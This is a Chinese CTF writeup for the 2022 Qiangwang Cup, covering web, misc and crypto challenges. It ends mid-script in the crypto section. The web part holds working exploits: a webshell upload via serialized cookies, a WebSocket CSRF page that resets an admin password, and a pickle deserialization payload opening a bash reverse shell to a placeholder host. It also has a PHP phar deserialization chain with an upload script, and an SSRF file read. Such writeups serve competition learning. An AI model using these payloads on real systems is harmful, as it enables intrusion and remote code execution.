航网

资讯

2022年第六届“强网杯”网络安全大赛部分writeup


P.S战队招新:只要你有充足时间能够投入到比赛中,欢迎加入我们

招新方向:Web、Crypto、Pwn

招新要求:

1. 人品好
2. 对自身所擅长的方向有一定基础
3. 有上进心,肯花时间打比赛

有意向的师傅简历请丢邮箱:admin@n03tack.top


文章大纲

  • Web
    • rcefile
    • babyweb
    • WP-UM
    • crash
    • easyweb
  • Misc
    • 谍影重重
  • Crypto
    • polydiv
    • ASR
    • myJWT
    • Factor
  • Re
    • easyapk
    • deeprev
    • GameMaster
    • easyre
    • GAME(赛后)


Web

rcefile

访问www.zip下载源码

Image

spl_autoload_register函数如果不指定处理用的函数,就会自动包含“类名.php”或“类名.inc”的文件,并加载其中的“类名”类。

所以上传一个webshell,后缀为inc

Image

序列化类名为文件名的类

<?php

class b333de5a6fa6afc7dba13703f8a679a7{
    function __construct()
    
{
        
    }

}

$a = new b333de5a6fa6afc7dba13703f8a679a7();
echo serialize($a);

再填充到cookie中

Image

babyweb

注册登录后可以看到是聊天框和bot进行对话,bot主要有两个功能点:一个是修改密码,另一个则是访问传过去的链接,并且通过websockets进行通信。因此思路就是让bot去访问修改密码的接口,促使 admin 用户更改密码。在 vps 上放置 test.html文件,内容如下:

<!DOCTYPE html>
<html>
    <head>
        <script>
            function dotast(){
                var ws = new WebSocket("ws://127.0.0.1:8888/bot");
                ws.onopen = function(){
                    ws.send("changepw 123456");
                }
            }
            dotast();
        
</script>
    </head>>
    <body>
        test
    </body>
</html>

Image

bot访问后,管理员密码修改为123456,登录。Image

金币只有200,购买flag需要1000。购买一次 hint 后获得源码下载Image

对 num 字段进行了限制,只能输入012345,尝试双写num并且购买为 -1Image

发现余额增加了,继续发包几次增加余额到 1000 后,进行购买 flag即可获得flag

WP-UM

根据题目提示:Image

打开网站注册登录后可以upload上传文件,搜了一下发现该插件可以探测文件是否存在Image

因此探测根目录下的 username 和 password文件夹获取管理员账号密码Image

MaoGePaMao:MaoGeYaoQiFeiLa

登录后台后编辑php文件写入马Image

吐槽,被这个数据库提示误导了几个小时......Image

硬藏flagImage

crash

查看源码,Image

Pickle.loads存在 pickle 反序列化,访问/balancer接口会获取 cookie 中的 userdata。做一次base64编码后接着一个判断进行过滤,主要过滤了R

先访问login?username=admin&password=admin路由获得cookie格式,然后查找不用R的payload https://zhuanlan.zhihu.com/p/361349643

import base64
data=b'''(cos
system
S'bash -c "bash -i >& /dev/tcp/xxx.xxx.xxx.xxx/6666 0>&1"'
o.'''

print(base64.b64encode(data))

生成的字符串替换掉 cookie 中的 userdata 的值,再访问/balancer接口触发反弹shell。反弹shell之后会删除掉所有 py 文件导致之前起的 flask 服务崩溃。

题目描述说flag在 504 页面,504 状态码为超时,写一个 flask 起一下进行延时

from flask import Flask
import time
app = Flask(__name__,static_url_path='')

@app.route('/dotast', methods=['GET', 'POST'])
def index():
    time.sleep(99999)
    return ""

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=5000)

Image


访问后超时回显出flagImage

easyweb

可以通过showfile.php读取 upload.php、class.php、index.php

其中 class.php 是用于构造链子的,该链子与NSSCTF中的再见辛丑基本相同稍微修改即可,exp如下

<?php
class Upload {
    public $file;
    public $filesize;
    public $date;
    public $tmp;
}

class GuestShow{
    public $file;
    public $contents;
}


class AdminShow{
    public $source;
    public $str;
    public $filter;
}


$guest = new GuestShow();
$guest1 = new GuestShow();

$upload = new Upload();
$upload1 = new Upload();
$upload2 = new Upload();

$admin = new AdminShow();
$admin1 = new AdminShow();

$guest->file = $upload;
$upload->tmp = $admin;
$admin->str[0] = $upload1;
$admin->str[1] = $upload2;
$upload1->filesize = $admin1;
$upload1->date = "http://10.10.10.10/?url=file:///flag";
$upload2->filesize = $admin1;
$upload2->date = "";
$upload2->tmp = $guest1;
$guest1->file = $admin1;

@unlink("phar.phar");
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($guest); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt""test");
$phar->stopBuffering();

生成后进行上传文件,这里会检测 SESSION 变量,这个可以通过上传时带上 PHP_SESSION_UPLOAD_PROGRESS 和 PHPSESSID 即可成功上传

接着触发Phar反序列化,触发点在 Upload 类中会调用 unlink 函数,通过GET请求传入 fname 变量可以指定文件名,测试发现这里 session_id 并不能取到值,所以最后 fname=phar://md5/filename.jpg

最后脚本如下

# ! usr/bin/env python
#  -*- coding: utf-8 -*-
import base64
import requests
import re

sessid = 'atao'

def write(session):
    f = open("D:/phpstudy_pro/WWW/error/phar.phar""rb").read()
    print session.post('http://47.104.95.124:8080/upload.php?fname=aatao.jpg', data ={ 'PHP_SESSION_UPLOAD_PROGRESS''a' * 100}, files={'file': ('atao.jpg', f)}, cookies={'PHPSESSID': sessid}).text

S
def read(session):
    f = "123"
    resp = session.post('http://47.104.95.124:8080/upload.php?fname=phar://424a3ca826be12350520adc133a2b9d3/aatao.jpg', data = {'PHP_SESSION_UPLOAD_PROGRESS''a' * 100}, files={'file': ('atao.jpg', f)}, cookies={'PHPSESSID': sessid})
    r = re.findall("!<img src=data:jpg;base64,(.*) />", resp.text)
    print base64.b64decode(r[0])
    f1 = open("a.bin""ab")
    f1.write(base64.b64decode(r[0]))
    print resp.text



if __name__ == '__main__':
    session = requests.session()
    write(session)
    read(session)

可以通过 AdminShow 类的 Show 函数访问本地文件,从 /proc/net/arp 获取内网 IP 地址

逐个访问后,发现 10.10.10.10 开放了 80 端口,访问获取源码。

<?php
highlight_file(__FILE__);

if (isset($_GET['url'])){
    $link = $_GET['url'];
    $curlobj = curl_init();
    curl_setopt($curlobj, CURLOPT_POST, 0);
    curl_setopt($curlobj,CURLOPT_URL,$link);
    curl_setopt($curlobj, CURLOPT_RETURNTRANSFER, 1);
    $result=curl_exec($curlobj);
    curl_close($curlobj);

    echo $result;
}

if($_SERVER['REMOTE_ADDR']==='10.10.10.101'||$_SERVER['REMOTE_ADDR']==='100.100.100.101'){
    system('cat /flag');
    die();
}

?>

还是存在 SSRF 漏洞,可以直接读取本地 flag,exp 为 http://10.10.10.10/?url=file:///flag

Image


最后 flag 为 flag{easy_penetration_it_is_!_QAQ}

Misc

谍影重重

看他们wp写的好“简洁”,于是俺就稍微写详细一点,用的python

给了流量包、config.json和加密的压缩包,提示需要找到api的地址

直接百度config.json中的id,能够发现是v2ray的配置文件。

给了流量包,应该是抓的传输流量。github上没有直接解密的脚本,那么看看官方文档

https://www.v2ray.com/developer/protocols/vmess.html

先看请求

16 字节X 字节余下部分
认证信息指令部分数据部分

认证信息是一个 16 字节的哈希(hash)值,它的计算方式如下:

  • H = MD5
  • K = 用户 ID (16 字节)
  • M = UTC 时间,精确到秒,取值为当前时间的前后 30 秒随机值(8 字节, Big Endian)
  • Hash = HMAC(H, K, M)

加密方式md5,用户id已知,时间已知,爆破60次。

Image


根据分析,注意到dstport == 10087为请求。前16字节为4dd11f9b04f2b562b9db539d939f1d52

接下来看指令部分

指令部分经过 AES-128-CFB 加密:

  • Key:MD5(用户 ID + []byte('c48619fe-8f02-49e0-b9e9-edf763e17e21'))
  • IV:MD5(X + X + X + X),X = []byte(认证信息生成的时间) (8 字节, Big Endian)

这里很奇怪在思考后面那一串是否为固定值,于是去github翻阅代码

https://github.com/v2ray/v2ray-core/blob/5dffca84234a74da9e8174f1e0b0af3dfb2a58ce/common/protocol/id.go

Image

那么直接拿来爆破,顺带拿到key和iv

import hmac
import hashlib
from Crypto.Util.number import long_to_bytes as n
keys = 'b8 31 38 1d 63 24 4d 53 ad 4f 8c da 48 b3 08 11'.split(' '#用户id
for i in range(len(keys)):
    keys[i] = int(keys[i],16)
key = bytes(keys)
for i in range(1615528900,1615529000):
    hash = hmac.new(key,n(i,8),'md5').hexdigest()
    if(hash == '4dd11f9b04f2b562b9db539d939f1d52'):
        print(i)
        print(hashlib.md5(key + b'c48619fe-8f02-49e0-b9e9-edf763e17e21').hexdigest())
        print(hashlib.md5(n(i, 8) + n(i, 8) + n(i, 8) + n(i, 8)).hexdigest())

得到

1615528982 b50d916ac0cec067981af8e5f38a758f 881eb47d4d3b67b24328c5178c0eedcc

分别为时间戳、key、iv,结合AES-128-CFB,先用cyberchef看看

Image


接下来看指令部分的详解

1 字节16 字节16 字节1 字节1 字节4 位4 位1 字节1 字节2 字节1 字节N 字节P 字节4 字节
版本号 Ver数据加密 IV数据加密 Key响应认证 V选项 Opt余量 P加密方式 Sec保留指令 Cmd端口 Port地址类型 T地址 A随机值校验 F

选项 Opt 细节:(当某一位为 1 时,表示该选项启用)

01234567
XXXXXMRS

其中:

  • 版本号 Ver:始终为 1;
  • 数据加密 IV:随机值;
  • 数据加密 Key:随机值;
  • 响应认证 V:随机值;
  • 选项 Opt:
    • 只有当 S 开启时,这一项才有效;
    • 当其项开启时,客户端和服务器端需要分别构造两个 Shake 实例,分别为 RequestMask = Shake(请求数据 IV), ResponseMask = Shake(响应数据 IV)。
    • 只有当 S 开启时,这一项才有效;
    • S (0x01):标准格式的数据流(建议开启);
    • R (0x02):客户端期待重用 TCP 连接(V2Ray 2.23+ 弃用);
    • M (0x04):开启元数据混淆(建议开启);
    • X:保留
  • 余量 P:在校验值之前加入 P 字节的随机值;
  • 加密方式:指定数据部分的加密方式,可选的值有:
    • 0x00:AES-128-CFB;
    • 0x01:不加密;
    • 0x02:AES-128-GCM;
    • 0x03:ChaCha20-Poly1305;
  • 指令 Cmd:
    • 0x01:TCP 数据;
    • 0x02:UDP 数据;
  • 端口 Port:Big Endian 格式的整型端口号;
  • 地址类型 T:
    • 0x01:IPv4
    • 0x02:域名
    • 0x03:IPv6
  • 地址 A:
    • 当 T = 0x01 时,A 为 4 字节 IPv4 地址;
    • 当 T = 0x02 时,A 为 1 字节长度(L) + L 字节域名;
    • 当 T = 0x03 时,A 为 16 字节 IPv6 地址;
  • 校验 F:指令部分除 F 外所有内容的 FNV1a hash;

开头是01,说明没有问题。但是在查看源码的时候发现,貌似这篇文章有的地方没写正确,或者说这篇文章太久没更新,看这:https://github.com/v2ray/v2ray-core/blob/5dffca84234a74da9e8174f1e0b0af3dfb2a58ce/common/protocol/headers.go

Image


Image


先不管这里了,根据之前分析得到的写出相应脚本进行解析

datas = '01 13 27 7f 57 32 da 52 ad a7 90 d8 7b 88 29 da a9 5e 4a 9a a9 ba 58 c7 e3 ad 36 fe 24 99 dc a2 59 a2 0d 63 00 01 13 88 01 7f 00 00 01 1a ce 7d 9b b0 b5 39 18 2c 03 81 aa 40 5d 11 2d 5d 1d c1 d3 3e c5 8e 44 6b 15 1f 33 31 cd 52 09 d2 5d 1b 06 5f a8 75 44 86 e5 71 58 4c 46 fa 7d 0e e4 43 eb 69 ab f4 66 c2 83 49 e9 02 09 23 cc 8f 47 2f 1d 20 bb e0 56 87 b7 20 e2 cc 8f ab 4d c1 73 c2 32 d6 c8 15 cb 7c 75 c6 bd 74 d2 e2 a5 76 38 ef fd 11 ff 00 9c 36 38 4c 43 1b 12 3e d1 24 96 5e 21 8a 79 cf b9 11 55 fc 55 b8 1f af 71 6a ef b5 83 28 f2 95 e7 6e 35 2d 11 e9 03 17 ae 8d 20 90 38 ae 70 d1 9e e2 f5 77 c4 84 1d 77 dc 42 64 31 08 8a 94 32 44 f5 0a f3 a2 ff df 45 b8 ff 21 0b 2c 4f f5 51 07 61 27 fa'.split(' ')
for i in range(len(datas)):
    datas[i] = int(datas[i],16)
data = bytes(datas)

print('版本号Ver',data[0])
print('数据加密iv',data[1:17],hashlib.md5(data[1:17]).hexdigest())
print('数据加密key',data[17:33],hashlib.md5(data[17:33]).hexdigest())
print('响应认证V',data[33])
print('选项Opt',bin(data[34])[2:].zfill(8))
print('余量P',int(bin(data[35])[2:].zfill(8)[:4],2))
print('加密方式Sec',int(bin(data[35])[2:].zfill(8)[4:],2))
print('指令Cmd',data[37])
print('端口Port',int.from_bytes(data[38:40], "big"))
print('地址类型T',data[40])
print('地址A',int.from_bytes(data[41:45], "big")) #2130706433=127.0.0.
print('随机值:',data[45:45+int(bin(data[35])[2:].zfill(8)[:4],2)],'len=',i)
print('校验',data[45+int(bin(data[35])[2:].zfill(8)[:4],2):55])

版本号Ver 1 数据加密iv b"\x13'\x7fW2\xdaR\xad\xa7\x90\xd8{\x88)\xda\xa9" fa2a8ab0fadb4854943df690335a99b5 数据加密key b'^J\x9a\xa9\xbaX\xc7\xe3\xad6\xfe$\x99\xdc\xa2Y' b22984cda4143a919b5b6de8121b6159 响应认证V 162 选项Opt 00001101 余量P 6 加密方式Sec 3 指令Cmd 1 端口Port 5000 地址类型T 1 地址A 2130706433(127.0.0.1) 随机值: b'\x1a\xce}\x9b\xb0\xb5' len= 231 校验 b'9\x18,\x03'

注意Opt是1101

能够得到数据加密的iv和key。且能够知道指令部分占了多少字节。因此找到数据部分从哪开始。由于是CFB模式,因此用cyberchef慢慢删即可知道哪里是数据部分的开始位置。即能够得到数据部分为1def4763cc54f91ba02681add1b815e8c50e028c76bde0ee8a9593db88d901066305a51a9586a9e377ee100e7d4d33fcfc0453c86b1998a95275cd9368a68820c2a6a540b6386c146ea7579cfe87b2e459856772efdcf0e4c6ab0f11d018a15561cf409cbc00491d7f4d22b7c486a76a5f2f25fbef503551a0aeb90ad9dd246a9cc5e0d0c0b751eb7b54b0abbfef198b1c4e5e755077469c318f20f3e418af03540811ab5c1ea780c886ea2c903b458a26

接着看数据部分

Image


从刚刚分析可以得知,这里S开启。长度有2字节,那么数据从47 63 cc开始算起。然后是chacha20加密

解不出来,再去翻源码https://github.com/v2ray/v2ray-core/blob/5dffca84234a74da9e8174f1e0b0af3dfb2a58ce/common/protocol/headers.proto

Image


无语,官网tm自己都不更新文档是吧。

然后cyberchef没解出来,这里用python

from Crypto.Cipher import AES
key = bytes.fromhex("5e4a9aa9ba58c7e3ad36fe2499dca259")
nonce = bytes.fromhex("00007f5732da52ada790d87b")
cipher = AES.new(key, AES.MODE_GCM, nonce)
c = bytes.fromhex("4763cc54f91ba02681add1b815e8c50e028c76bde0ee8a9593db88d901066305a51a9586a9e377ee100e7d4d33fcfc0453c86b1998a95275cd9368a68820c2a6a540b6386c146ea7579cfe87b2e459856772efdcf0e4c6ab0f11d018a15561cf409cbc00491d7f4d22b7c486a76a5f2f25fbef503551a0aeb90ad9dd246a9cc5e0d0c0b751eb7b54b0abbfef198b1c4e5e755077469c318f20f3e418af03540811ab5c1ea780c886ea2c903b458a26")

m = cipher.decrypt(c)
print(m)

b'GET /out HTTP/1.1\r\nHost: 127.0.0.1:5000\r\nUser-Agent: curl/7.75.0\r\nAccept: /\r\nConnection: close\r\n\r\noV\x0f*|\xaaV.\xc6\x82\xfd\xe1,\x8aS[yxF\x1a{\xde\x84\x9f\xa0\x82"\xfb\x1dA\xb4\x99\x1e\xce\xe0\x0f\xc7\x03f\xc7E\xa5\xa3\xeexG9\xe0\xac\xf4(\xa3h!c\x85\xc7\xab\x8b\xcfs\xb5\xb8\xb9\t\xa5V\xac\xfa5\xa6\xad\x80C/'

向out的一个GET请求,但是为什么后面还有奇奇怪怪的数据呢。

可以注意到上面提到:

  • M (0x04):开启元数据混淆(建议开启);
    • 只有当 S 开启时,这一项才有效;
    • 当其项开启时,客户端和服务器端需要分别构造两个 Shake 实例,分别为 RequestMask = Shake(请求数据 IV), ResponseMask = Shake(响应数据 IV)。

那么现在就要去找requestMask,与shake有关

其中提到的代码在server.go里,当然我们现在需要的在auth.go里

Image


注意到打框的部分和上面对应的地方,因此长度应该从第3字节开始。前两字节为padding,通过这一句查看padding

print('Padding Len',int.from_bytes(bytes.fromhex(hashlib.shake_128(data[1:17]).hexdigest(2)),'big')%64)
#59

加上之前提到的16字节的GCM 认证信息,实际有用信息应该为解出来的信息减掉(16+59)

将上面的脚本的最后输出改成print(m[:-(59+16)].decode())看看

Image


完全没有问题。下一步即为解密响应包。这里拿第一条包响应包进行测试,即第6条,提到了key和iv为数据加密部分的key和iv

应答头部数据使用 AES-128-CFB 加密,IV 为 MD5(数据加密 IV),Key 为 MD5(数据加密 Key)。实际应答数据视加密设置不同而不同。

1 字节1 字节1 字节1 字节M 字节余下部分
响应认证 V选项Opt指令 Cmd指令长度 M指令内容实际应答数据

其中:

  • 响应认证 V:必须和客户端请求中的响应认证 V 一致;
  • 选项 Opt:
    • 0x01:服务器端准备重用 TCP 连接(V2Ray 2.23+ 弃用);
  • 指令 Cmd:
    • 0x01:动态端口指令
  • 实际应答数据:
    • 当 Opt(M) 开启时,长度 L 的值 = 真实值 xor Mask。Mask = (ResponseMask.NextByte() << 8) + ResponseMask.NextByte();
    • 如果请求中的 Opt(S) 开启,则使用标准格式,否则使用基本格式。
    • 格式均和请求数据相同。

Image


然后和之前一样,那么浅浅写个脚本

from Crypto.Cipher import AES
data = '4a231cf75e9608f8affdb5d1b69eca8b434cb6f505120e757911de489f5eb7fe1b3270521db2b825a0462786304bafd4fb7320a3820bd98db3c3694380748da6470cc7c6dceff48e0cde0e321acf7cf7644bf5547d65a687ae87163ffcac18530ad873c71cd24ae931254bac0186003a6a603ac5de3dd3944e00e5b3c8821d0caf255626f8bdba5e0ced040fcc2fb29dfeddbba1791a925a37aa35ed94737bd7d3704bba5c83be54a2d82c2d9fbfa66a70c591e89ec82a18d58e23609d34f09e5da8ebf7ed7b9da659e61f77d6e76f83435c3e648c6491d8f320e29576f8375c6f630372fae42cf8c838e3eda0b4e9be046a5f1b2a1afc0149085deca04ede3c561a63f49dc911b1d0a18213ae5b6d247bd5354a2be4bc3f56c4d418cda4135a6af8379b6b2ccf60d643cda6c632d78d2befc10d38daad1bec2b491f289f7a7be19795a6667bfe3a5fec89f07a2ba5d22f9dff3098caa8eb5ae83dd7d1e2ac4b9f7a236737e8b96be87910429f1e09b44186e5f30ce36789f0ff87a275b23c290288e413dbe91186992ae9009801940f360f0b4531aa5572f0b40501a7f5fd951b406bb273ca0287390222f1f8398614d0a76849a84155affd2055b42fb2372ec4cbc040a6def4eccfb908fe3841b39601bdcd8d6a45038909e388daac78932d87a97f262c9eb47d5ecf0071ec4b40fc75214daa058b74760371362b6acdeed0245db4bf9d30382d5804ac12776718cb0bd3ceae9453a2a7bb0dd54c6a62605f7976e4f8bf6f0e6c83ed6c1002bfd46faf183ebf6006cd503f7620801c3555f94602b4b30b13198feca0a0beb56e988509e160f0d53cbcf69ac9968d42aa2583c6e59278dfaaf7432a94a04840c65070d55d8a8d382b07ab7877b9ed272021b6c6ae0fe591790f21d22c5cb9a53b180efd0e5e93439f799e96661659729b0e24528434d127f43f698525017fff208a95ef477a7c65d0b35cc4ecc0dd0bcab4377a154a3a1fdc950824c753953b03d461fd6b9ced073be2f29010d7ee583ae0ccdf136193ef71fe5f7106e452cc7a177fc476110cd748bf32d5702507c9046a4c282f1955560aafce4893959556685789084a2060f628419ced87bf1f10aae3d493b785601b2d4064c35aae34279e2924cc449707a8995210ecdddaeb8e7c9418eb96bddac4a678a9130ed2fb5bb51c3d8c0011b28af42b037385d3967936cc14bf519cd97df0426e301adc400bc29b7127e774759901f82cde6012245087a8868860b7244a80fd9a7827c1e4e89d36888bd1b9b1d17c919616a97344bc02760f12058641f9b9d31c2d215ef12a1b0d31d7a4aab297364959e296a66b63eb03dbb4ead470f4a629713e14f64f117fd151e93538335fae7c850b0275e287cb296543797d89a1face15bb786aabd685d00e667b9362119e6778310d063be249d8b8e60367b286b57bc204621cab135a620548a2ca3d96702dd8e297ff568dafa8fa1b15a0016ea40e3396fbc7f462749f486d486482b2c2224e81a8a9701cb4416a196c7e4b372c8dbf523688de6907e3cfb4142dc7cba6cbd69c4709e4c71f455d107df2636fef1f1baa70a295b5bc659dabb3f57c4d5b3ef31155626c9fddb0e96edac4d12aaa9c9189328790574d01fe29cce7fd21d6edd1deb52417b2d37a92a19363e888e43906e60a7f2ef63482ed83a9aa83982269c684416c3bd96e41dd5ec9432c3519fdd5bb606035dc3df221440cdb0f87dad3b6fc67487411f39277db5abc71066ae474e0269978f4406b0ee8656ce61db7967af55ac78382c1f179cbb68e03a450c824bc250a8ef87e5a301ba6c5fb802a38df5ff13077e1cf93496d65a99dea11129fce3b9f4d5d171593d2f6f36e4319f9dc5e1d2ac2965fce827c229cb992520d22be1b0291b2d53c250d2fb03cc9e613c53e83263a186f1b580b6101fcbaf7681ef0032705e560b31fc51bc156d90357bfaaf8434df23d4e96690a35b79d8071cb6d9bef679f2164f2b3eca2696928763acdaa7bc076eae62f91e2363fdac9e68fabb0af04835e3c80f2e31e14354f6ca50fe759347288ba454982ff4e0731704395bc6f9e216b6546348a52d2df9e0a9c9199dec183d2b7ccd264b73b15cc2bdb429551fb7854bb8a6d02093ead5a08a77c6425c474d66108061ed6c2ad93bfd23cdc9a2c6919eb8a07be117b7748f406551ec4c9fa3ce8eda4b3d275c9225b888667e07185e06a5327a097e3826af619cc0e840c47fd17fa61fd836650887f4155c859c3664422b47d3bb3adcc686af15c7c23a4e37d5985ec09e9914357054b0baa9f8aab7e57348f92d0ee5ad8d4678ddd21fdf2679ca864f300875ebc4de14a68f2602e19170c18f1ea96eeea27bd267471bb2c821a434aebee2dad2060e5ea0937169f7a1b26d61606461393b6b4f8bcbc4e7de603bc6447b190d939c6447e5300a08685db242f5b18d792ac562d3f773d70493ff5ce2a550836ab535c84a8adaa503fcf1b58181a5b3b4e1b7e49d9d186e771520b1836b61947922617ca718a117003525320049665d8c4ab30bc0b36b33d999e3731d6cd0ad59ed6f8f0fad09b87ae8084cf193d7aa739d9b4605c047ee6b7c4778910959d1d552b85953fb98ff5cb50c27a5ac9543939b4cc5c8f936a87d602f874becc154ca34f8afce65814698bed3c8921cf7ac720d6b6044ab043bc8090e2b23c86698649e0f2b38af07bcd490967a9946ce3d26c8a56ce85e24fda80ae233d79761b3d79c567b70a5b56cddcba56b354a85d2a7f88458a77bc2ba9de4582412a3b72fdec21b3da400f7e4515be21fb9916bc16ed1ced9b2e396f56fc7031f29f22867b6c7ed30965389e8825797aff03dc3c18c016e5d2b92b8d25cff7bd9e'
data = bytes.fromhex(data)
key = bytes.fromhex("b22984cda4143a919b5b6de8121b6159")
nonce = bytes.fromhex("00008ab0fadb4854943df690")
cipher = AES.new(key, AES.MODE_GCM, nonce)

m= cipher.decrypt(data[6:])
print(m[:-80].decode('utf-8'))

得到

HTTP/1.1 200 OK
Content-Length: 1097547
Content-Disposition: inline; filename="out.html"
Accept-Ranges: bytes
ETag: "2c1e70fd6a7708efcc4a0f30821cd03ab8a58939"
Content-Type: text/html; charset=utf-8
Vary: Accept-Encoding
Date: Fri, 12 Mar 2021 06:02:42 GMT
Connection: close

<body>
<script>
function saveAs(blob, fileName) {
    let url = window.URL.createObjectURL(blob);

    let anchorElem = document.createElement('a');
    anchorElem.style = 'display: none';
    anchorElem.href = url;
    anchorElem.download = fileName;

    document.body.appendChild(anchorElem);
    anchorElem.click();

    document.body.removeChild(anchorElem);

    // On Edge, revokeObjectURL should be called only after
    // a.click() has completed, atleast on EdgeHTML 15.15048
    setTimeout(function() {
        window.URL.revokeObjectURL(url);
    }, 1000);
}

(function() {
    let byteCharacters = atob('0M8R4KGxGuEAAAAAAAAAAAAAAAAAAAAAPgADAP7/CQAGAAAAAAAAAAAAAAANAAAABwEAAAAAAAAAEAAACQEAAAMAAAD+////AAAAAAQBAAAFAQAABgEAAAsBAAAMAQAADQEAAA4BAAAPAQAAEAEAABEBAAASAQAAEwEAAAAGAAD////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////spcEAWQAJBAAA+BK/AAAAAAAAEAAAAAAACAAAFggAAA4AYmpiajgaOBoAAAAAAAAAAAAAAAAAAAAAAAAJBBYALg4AAFpw0mVacNJlFgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD//w8AAAAAAAAAAAD//w8AAAAAAAAAAAD//w8AAAAAAAAAAAAAAAAAAAAAALcAAAAAAEIHAAAAAAAAQgcAAIcVAAAAAAAAhxUAAAAAAACHFQAAAAAAAIcVAAAAAAAAhxUAABQAAAAAAAAAAAAAAP////8AAAAAmxUAAAAAAACbFQAAAAAAAJsVAAAAAAAAmxUAAAwAAACnFQAADAAAAJsVAAAAAAAAsiAAAHQBAACz

Image


office文件,确实是要找宏。先追踪流导出hex

然后去掉换行,使其都在同一行上。

接着想尝试爆破

f = open('out.txt','r').read()
f = bytes.fromhex(f)
from Crypto.Cipher import AES
start_ind = []
from tqdm import tqdm
key = bytes.fromhex("b22984cda4143a919b5b6de8121b6159")
def decode(c,ind):
    nonce = [0x000x000x8a0xb00xfa0xdb0x480x540x940x3d0xf60x90]
    nonce[0] = ind // 256
    nonce[1] = ind % 256
    data = f[c:c+32]
    cipher = AES.new(key, AES.MODE_GCM, bytes(nonce))
    try:
        m = cipher.decrypt(data)[:-3].decode()
        print(m)
        start_ind.append(c)
        ind += 1
        return ind
    except:
        return ind
id = 0
for i in tqdm(range(len(f))):
    id = decode(i,id)
print(start_ind)

能够得到大家的开头

[6, 2031, 4049, 6034, 8072, 10074, 10536, 12526, 14553, 16562, 18567, 20190, 22230, 24274, 26295, 28340, 30325, 32328, 34326, 36337, 38339, 40386, 42428, 44441, 46443, 48434, 50474, 52520, 54544, 56574, 58571, 60578, 62611, 64640, 66676, 68700, 70718, 72753, 72868, 74870, 76883, 78915, 80904, 82907, 84896, 86891, 87500, 89524, 91552, 93551, 95539, 97567, 99581, 101611, 103620, 105653, 107656, 109682, 111692, 113721, 115722, 117741, 119786, 121819, 123862, 125847, 127874, 129864, 131860, 133849, 135841, 137868, 139901, 141922, 143957, 145957, 147996, 149989, 152002, 153995, 156029, 158061, 160094, 162123, 164119, 166119, 168116, 170153, 172141, 174144, 176159, 178192, 180190, 182178, 184207, 186197, 960934, 960935, 960936]

看起来,最后三个是要舍弃的。

f = open('out.txt','r').read()
f = bytes.fromhex(f)
fs = open('outs.txt','ab+')
from Crypto.Cipher import AES
start_ind = [62031404960348072100741053612526145531656218567201902223024274262952834030325323283432636337383394038642428444414644348434504745252054544565745857160578626116464066676687007071872753728687487076883789158090482907848968689187500895249155293551955399756799581101611103620105653107656109682111692113721115722117741119786121819123862125847127874129864131860133849135841137868139901141922143957145957147996149989152002153995156029158061160094162123164119166119168116170153172141174144176159178192180190182178184207186197960934960935960936]
from tqdm import tqdm
key = bytes.fromhex("b22984cda4143a919b5b6de8121b6159")
def decode(a,b,ind):
    nonce = [0x000x000x8a0xb00xfa0xdb0x480x540x940x3d0xf60x90]
    nonce[0] = ind // 256
    nonce[1] = ind % 256
    data = f[a:b]
    cipher = AES.new(key, AES.MODE_GCM, bytes(nonce))
    m = cipher.decrypt(data)
    fs.write(m)
    ind += 1
    return ind

id = 0
for i in tqdm(range(len(start_ind))):
    id = decode(start_ind[i],start_ind[i+1],id)

Image


好吧 如此是得不到想要的结果的,还是老老实实去做吧

第一个的padding:

print('Padding Len',int.from_bytes(bytes.fromhex(hashlib.shake_128(bytes.fromhex('fa2a8ab0fadb4854943df690335a99b5')).hexdigest(2)),'big')%64)

反正知道怎么写了,开始写脚本

import hashlib
from Crypto.Cipher import AES

f = open('out.txt','r').read()
f = bytes.fromhex(f)
shake_data = hashlib.shake_128(bytes.fromhex('fa2a8ab0fadb4854943df690335a99b5')).hexdigest(11451)
key = bytes.fromhex("b22984cda4143a919b5b6de8121b6159")
fs = open('output.txt','a+')
i = 4
ind = 0
while i<len(f):
    padding = int(shake_data[ind*8:ind*8+4],16)%64

    length = int.from_bytes(f[i:i+2],'big') ^ int(shake_data[ind*8+4:ind*8+8],16)
    i += 2
    nonce = [0x000x000x8a0xb00xfa0xdb0x480x540x940x3d0xf60x90]
    nonce[0] = ind // 256
    nonce[1] = ind % 256
    real_length = length - padding - 16
    cipher = AES.new(key, AES.MODE_GCM, bytes(nonce))
    data = f[i:i+real_length]
    m = cipher.decrypt(data).decode()
    i += length
    ind += 1
    fs.write(m)

Image


注意到结尾

Image


谷歌搜"0208_54741869750132.doc" "api"

Image


得到api.ipify.org,得到密码08229f4052dde89671134f1784bed2d6

得到一个gob file

degob得到png的字节数组(其实degob也就只是把文件中数据部分提取出来了而已) 再根据提示恢复shuffle

Image

giao,欺负没学过go的(挠头

package main

import (
 "math/rand"
 "os"
 "time"
)

func main() {

 //seed init
 loc, _ := time.LoadLocation("Local")
 timeObj, _ := time.ParseInLocation(
  "2006-01-02 15:04:05",
  "2022-07-19 14:49:56", loc)
 seed := timeObj.Unix()
 rand.Seed(seed)

 input, _ := os.Open("./src.png")
 in := make([]byte70475)
 lenx, _ := input.Read(in)
 table := make([]int, lenx)
 out := make([]byte, lenx)
 for i := 0; i < lenx; i++ {
  table[i] = i
 }
    //shuffle
 
 rand.Shuffle(len(table), func(i, j int) {
  table[i], table[j] = table[j], table[i]
 })
 
 for i := 0; i < lenx; i++ {
  out[table[i]] = in[i]
 }
 output, _ := os.Create("./flag.png")
 output.Write(out)

}

得到一张png

Image

a通道存在零零散散的flag,脚本提取的时候去掉0xff即可

from PIL import Image
pic = Image.open('result.png')
w,h = pic.size
for i in range(h):
    for j in range(w):
        pixel = list(pic.getpixel((j,i)))[3]
        if(pixel != 0xff):
            print(chr(int(pixel)),end='')

Image

flag{898161df-fabf-4757-82b6-ffe407c69475}

Crypto

强网先锋-polydiv

首先是一个sha256的爆破,然后题目随机产生三个多项式

要求我们给出,满足

题目是模二的多项式环,这里就涉及到模二多项式的基本运算,直接采用sagemath就可以直接运算,不用再自己实现了。

#sagemath
from pwn import *
import string
from hashlib import *

p=remote('47.93.52.218',42937)
context.log_level='debug'

